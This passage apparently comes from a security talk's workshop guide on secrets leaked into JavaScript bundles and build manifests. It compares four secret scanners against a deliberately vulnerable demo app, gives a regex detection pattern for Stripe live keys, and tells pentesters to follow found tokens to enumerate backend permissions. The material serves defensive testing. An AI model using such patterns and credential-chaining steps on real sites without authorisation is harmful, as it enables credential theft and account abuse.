Pattern: The build pipeline emits a manifest of asset paths and config. Often overlooked by scanners that focus on `.js` files.

What you'll find: AWS region, S3 bucket name, redundant AWS access key + secret, additional API keys with custom prefixes. The manifest is served with a non-JS content type — many scanners skip it.

6 Reproduce the 4-tool comparison

This is the segment that closes the talk. Same target. Same Burp proxy. Default rules each tool. Compare what each one finds.

6.1 Run the four tools against InsecureShield

- **SecretSifter** (Burp extension) — github.com/secretsifter/secretsifter-burp · BApp Store: pending
- **Sensitive Discoverer** (Burp extension) — BApp Store
- **Titus / TruffleHog (Burp extensions)** — both available on BApp Store
- **TruffleHog (CLI)** — `brew install trufflehog`

For each Burp extension: proxy InsecureShield through Burp, browse the login + dashboard pages, let the passive scanners run. For TruffleHog CLI: run `trufflehog filesystem ./dist` against the built artifact.

6.2 What to expect

Tool	Unique creds	Notable wins	Notable misses
SecretSifter	**23**	Encrypted CryptoJS blob · DB password in HTML comment · custom-labeled keys	AWS ARN (treated as identifier)
Sensitive Discoverer	**12 + 4 emails**	AWS ARN · Firebase DB URL · PEM marker	Encrypted blob · DB password · APIM key · Twilio
Titus	**9**	Azure APIM key · PEM key · AWS ARN · Mailgun	Encrypted blob · Stripe live · Twilio · custom labels
TruffleHog (Burp)	**8**	APIM · Mailgun · Stripe · SendGrid · vendor patterns	Encrypted blob · PEM key · 4 mislabeled APIM matches

The exact numbers may shift as tools update their detector rules. What stays consistent: no single tool catches everything, and the encrypted blob + the in-HTML DB credential are the two findings that distinguish runtime-aware detection from pattern-matching alone.

7 Add your own detection patterns

If you find a credential category that SecretSifter doesn't catch, the patterns are in `Patterns.java` in the `burp-secret-scanner` repo. Each pattern is a regex plus a severity, confidence, and label.

```
// Example pattern entry
new Pattern(
    "stripe_secret_key",            // label (shown to the user)
    Pattern.compile("sk_live_[a-zA-Z0-9]{24,}"),
    Severity.HIGH,
    Confidence.CERTAIN,
    "Stripe live secret key"
);
```

Add a new pattern, run the test suite (`./gradlew test`), and submit a pull request. Patterns are reviewed against InsecureShield to confirm they don't introduce false positives. Detectors that catch real-world patterns the community hasn't formalized yet are the most welcome contributions.

8 What to do with what you found

If you're a **pentester or bug-bounty hunter**: don't stop at "credential exists." Walk the chain. Call the token endpoint. Enumerate what the service principal is permitted to do. The frontend code often documents the backend endpoints you can then call.

If you're a **developer**: an environment variable in GitHub Secrets is protected; the same value, inlined into `main.bundle.js` by webpack, is on every device that loaded your site. The variable name didn't change. The trust model did. Use a secrets manager (Azure Key Vault, AWS Secrets Manager) for anything sensitive, and prefer the Backend-for-Frontend pattern so credentials never leave the server.

If you're **security leadership**: add an artifact-scan stage to the pipeline. After the build produces the bundle, before deployment, scan the actual files the visitor will download. This is the closest thing to "shift-left for the runtime layer." Combine with runtime detection (browser extension, Burp extension, or proxy-based scanner) for the layer artifact scans don't reach (SSR state, runtime-fetched config, lazy chunks).

Bottom line. The runtime layer is the only layer every attacker always sees. It is also the only layer where no industry-mature automated tool combines all four required properties (black-box, runtime-observing, encrypted-blob detection, noise-suppressed). InsecureShield is a target you can practice against. SecretSifter is one attempt at filling the gap. The talk argues that the gap is structural — and structural gaps deserve structural answers.

References

Demo repo: `github.com/secretsifter/insecureshield-demo`

SecretSifter (Burp extension): `github.com/secretsifter/secretsifter-burp`

Browser extension: Chrome / Firefox stores · search "SecretSifter"

Research preprint: *Secrets That Survive Everything* · DOI `10.5281/zenodo.19464446`

Workshop: Red Team Village · DEF CON 34 (Sun Aug 9) — "Four Values in a JavaScript File"

Contact: @secretsifter on Bluesky · infosec.exchange